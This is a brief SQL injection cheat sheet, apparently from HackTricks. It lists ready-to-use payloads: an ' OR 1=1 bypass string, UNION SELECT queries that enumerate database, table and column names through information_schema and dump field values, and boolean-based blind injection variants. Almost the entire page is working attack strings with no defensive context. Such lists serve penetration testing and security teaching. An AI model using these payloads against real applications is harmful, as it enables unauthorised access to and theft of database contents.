SQL Injection | HackTricks | HackTricks

IN BAND (Visibility)

Break SQL instruction

' OR 1=1; --

Find Database name:

UNION SELECT 1,2,database()

Find Table names

UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'database_name_here'

Field Column names:

UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'table_name_here'

List Field Name

UNION SELECT 1,2,group_concat(column_name1,':',column_name2 SEPARATOR '<br>') FROM table_name_here

BLIND SQLI (only

boolean return is visible)

UNION SELECT 1,2,3 where database() like '%';--
UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'database_name_here' and table_name like '%';--
UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='database_name_here' and TABLE_NAME='table_name_here' and COLUMN_NAME like '%';
UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'database_name_here' and table_name like '%';--
UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='database_name_here' and TABLE_NAME='tablename_here' and COLUMN_NAME like '%';--